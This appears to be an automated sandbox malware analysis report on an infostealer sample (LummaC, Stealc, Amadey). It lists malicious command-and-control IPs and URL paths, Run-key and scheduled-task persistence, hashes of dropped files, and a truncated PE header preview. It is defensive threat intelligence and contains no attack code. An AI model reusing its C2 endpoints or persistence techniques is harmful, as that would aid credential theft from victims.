https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1514965663.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1485103879.0000000005E74000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1484877780.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502935350.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2650440125.000002324AFEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDBEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2656010478.000001CD08B03000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.21.dr	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.wykop.pl/	firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mobbipenju.store:443/api	file.exe, 00000000.00000003.1415866051.00000000017BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1397386123.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1928933464.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984764177.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1959502812.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806799918.0000010CAF796000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mobbipenju.store/api	file.exe, 00000000.00000003.1397386123.00000000017D3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000015.00000003.1926529208.0000010CB1057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1926529208.0000010CB105D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1926529208.0000010CB104D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415866051.00000000017D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000015.00000003.1926529208.0000010CB105D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1926529208.0000010CB104D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://watch.sling.com/	firefox.exe, 00000015.00000003.1977630551.0000010CA9415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1970972518.0000010CA9415000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/complete/	firefox.exe, 00000015.00000003.1959502812.0000010CAF768000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984764177.0000010CAF768000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806799918.0000010CAF768000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1928933464.0000010CAF768000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.steampowered.com/	file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarningElem	firefox.exe, 00000015.00000003.1926529208.0000010CB1057000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/mobile	file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 00000015.00000003.1895432160.0000010CAF827000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.206.204	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
95.100.48.249	unknown	European Union	16625	AKAMAI-ASUS	true
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
52.222.236.23	services.addons.mozilla.org	United States	16509	AMAZON-02US	false
92.122.104.90	steamcommunity.com	European Union	16625	AKAMAI-ASUS	true
35.201.103.21	normandy-cdn.services.mozilla.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.103	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
172.217.16.142	youtube.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1536268
Start date and time:	2024-10-17 18:37:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@46/43@105/18
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.95.65.251, 52.25.49.43, 35.83.8.120, 52.26.161.5, 2.22.61.59, 2.22.61.56, 172.217.18.14, 88.221.134.155, 88.221.134.209, 142.250.185.138, 172.217.23.106
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, fs.microsoft.com, shavar.prod.mozaws.net, ciscobinary.openh264.org, slscr.update.microsoft.com, otelrules.azureedge.net, twc.trafficmanager.net, otelrules.afd.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, a17.rackcdn.com.mdc.edgesuite.net, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, a19.dscg10.akamai.net, redirector.gvt1.com, azureedge-t-prod.trafficmanager.net, safebrowsing.googleapis.com, location.services.mozilla.com
Execution Graph export aborted for target EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe, PID 3644 because it is empty
Execution Graph export aborted for target FAMTYULW1YWOKDICAUX3Y390M.exe, PID 2260 because there are no executed function
Execution Graph export aborted for target file.exe, PID 3300 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:38:23	API Interceptor	30x Sleep call for process: file.exe modified
12:39:11	API Interceptor	1x Sleep call for process: firefox.exe modified
12:40:01	API Interceptor	241x Sleep call for process: skotes.exe modified
12:40:16	API Interceptor	2x Sleep call for process: bf119f2261.exe modified
18:38:58	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
18:40:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bf119f2261.exe C:\Users\user~1\AppData\Local\Temp\1000349001\bf119f2261.exe
18:40:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bf119f2261.exe C:\Users\user~1\AppData\Local\Temp\1000349001\bf119f2261.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	cVUjrXVdo9.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	jTEmDCfcVF.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	cVUjrXVdo9.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	1uw8VGBYdd.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	jTEmDCfcVF.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	1uw8VGBYdd.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
twitter.com	phish_alert_iocp_v1.4.48.eml	Get hash	malicious	Unknown	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.129
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.193
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.193
	jTEmDCfcVF.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	cVUjrXVdo9.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.193
	1uw8VGBYdd.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	jTEmDCfcVF.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	1uw8VGBYdd.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
star-mini.c10r.facebook.com	https://conta.cc/4eKKH8C	Get hash	malicious	Mamba2FA	Browse	157.240.253.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	Media24.html	Get hash	malicious	Unknown	Browse	157.240.251.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.253.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	jTEmDCfcVF.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	cVUjrXVdo9.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	1uw8VGBYdd.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	jTEmDCfcVF.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	1uw8VGBYdd.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PYoY4wQdWA.exe	Get hash	malicious	Havoc	Browse	172.67.222.242
	trYFfmUfok.exe	Get hash	malicious	Havoc	Browse	104.21.38.131
	E23wf7nA1F.exe	Get hash	malicious	Havoc	Browse	104.21.38.131
	hiwEcwKD7h.exe	Get hash	malicious	Havoc	Browse	104.21.38.131
	KpETRsE67a.exe	Get hash	malicious	Havoc	Browse	172.67.222.242
	0CLH6dY4D3.exe	Get hash	malicious	Havoc	Browse	104.21.38.131
	http://hotautodetail.com/goe-=bleass=america=donal=q82h-=1	Get hash	malicious	Unknown	Browse	104.19.230.21
	https://enkonooh.com/n/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9Ym1RNFV6RT0mdWlkPVVTRVIxMDEwMjAyNFUyMTEwMTAyNw==#	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	HawkEye, MailPassView, PureLog Stealer	Browse	104.19.222.79
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
ATGS-MMD-ASUS	botnet.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	34.187.80.20
	botnet.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	57.1.201.33
	powerpc.elf	Get hash	malicious	Unknown	Browse	34.184.249.136
	armv4l.elf	Get hash	malicious	Unknown	Browse	57.45.195.95
	arm7.elf	Get hash	malicious	Unknown	Browse	33.19.1.146
	ppc.elf	Get hash	malicious	Mirai	Browse	32.240.242.77
	arm5.elf	Get hash	malicious	Mirai	Browse	56.194.123.3
	spc.elf	Get hash	malicious	Mirai	Browse	56.104.248.118
	mpsl.elf	Get hash	malicious	Mirai	Browse	34.17.28.179
	m68k.elf	Get hash	malicious	Unknown	Browse	51.227.24.2

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	trYFfmUfok.exe	Get hash	malicious	Havoc	Browse	95.100.48.249 92.122.104.90 172.67.206.204
	E23wf7nA1F.exe	Get hash	malicious	Havoc	Browse	95.100.48.249 92.122.104.90 172.67.206.204
	hiwEcwKD7h.exe	Get hash	malicious	Havoc	Browse	95.100.48.249 92.122.104.90 172.67.206.204
	KpETRsE67a.exe	Get hash	malicious	Havoc	Browse	95.100.48.249 92.122.104.90 172.67.206.204
	0CLH6dY4D3.exe	Get hash	malicious	Havoc	Browse	95.100.48.249 92.122.104.90 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	95.100.48.249 92.122.104.90 172.67.206.204
	1xWa9IgItt.exe	Get hash	malicious	LummaC	Browse	95.100.48.249 92.122.104.90 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	95.100.48.249 92.122.104.90 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	95.100.48.249 92.122.104.90 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	95.100.48.249 92.122.104.90 172.67.206.204
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123
	jTEmDCfcVF.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123
	cVUjrXVdo9.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123
	1uw8VGBYdd.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123
	jTEmDCfcVF.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123
	1uw8VGBYdd.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 52.222.236.23 34.120.208.123

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_3f7907aa-424d-42a1-96cb-7b90df2adcdb.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7957
Entropy (8bit):	5.175337067951784
Encrypted:	false
SSDEEP:	192:sMvMiaEPcbhbVbTbfbRbObtbyEl7ncroJA6unSrDtTkd/S9+T:sF+cNhnzFSJ8rb1nSrDhkd/c+
MD5:	05DDCCF2F1D7D9A953344C811C1E4308
SHA1:	BF1700EE09667F4BC4126BA9AF5BF8D34B68F6D7
SHA-256:	FCCE86BC1A124EDFFE00F6CA472349EC1C71ABE8EA71C36B6FB259C9F287C692
SHA-512:	2D3A828BC476F361E0EEC60B262E9C44C42877A662F11A611C5AAE34FE0E3450B673537D5F3E5907537D9253EF08BAF41A00DAEFAA7DFFBCD98DCBB1742E8EF9
Malicious:	false
Preview:	{"type":"uninstall","id":"3f7907aa-424d-42a1-96cb-7b90df2adcdb","creationDate":"2024-10-17T18:33:11.429Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"a12d1cd1-4ce7-42ab-ae29-5c019c43f6ba","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_3f7907aa-424d-42a1-96cb-7b90df2adcdb.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7957
Entropy (8bit):	5.175337067951784
Encrypted:	false
SSDEEP:	192:sMvMiaEPcbhbVbTbfbRbObtbyEl7ncroJA6unSrDtTkd/S9+T:sF+cNhnzFSJ8rb1nSrDhkd/c+
MD5:	05DDCCF2F1D7D9A953344C811C1E4308
SHA1:	BF1700EE09667F4BC4126BA9AF5BF8D34B68F6D7
SHA-256:	FCCE86BC1A124EDFFE00F6CA472349EC1C71ABE8EA71C36B6FB259C9F287C692
SHA-512:	2D3A828BC476F361E0EEC60B262E9C44C42877A662F11A611C5AAE34FE0E3450B673537D5F3E5907537D9253EF08BAF41A00DAEFAA7DFFBCD98DCBB1742E8EF9
Malicious:	false
Preview:	{"type":"uninstall","id":"3f7907aa-424d-42a1-96cb-7b90df2adcdb","creationDate":"2024-10-17T18:33:11.429Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"a12d1cd1-4ce7-42ab-ae29-5c019c43f6ba","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

C:\Users\user\1000350002\014cda2328.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1064960
Entropy (8bit):	7.945251193846573
Encrypted:	false
SSDEEP:	24576:cRrslYlVpyjMe2q97J++0jjoO7oGj1KOmGgac+Tw:c2G2GqZJgjovG8BD
MD5:	DDFBEE6A9EB0EE5DE83E20A03A2880C8
SHA1:	16F53E6F2E133036F7EE91D5855CCF373AD5E01B
SHA-256:	E9F9347506BC06011C2D448F6FE9A59EA29CDFAE70745845D1DC0F910F574E0E
SHA-512:	CB60425A8E07DE93DAF52389795FBAD0B9515FD36DE27546463802F23D4879B3A2C2FC39F80A2060C45E5FAE3D6B006DDDC7C5601A84AB4F19DDAF0D5F1B6425
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......j...........@...........................j...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...dxmeshoa.0...pP..$...<..............@...odcdjryq......j......`..............@....taggant.0....j.."...f..............@...................................................................................................................................................................................................................................................

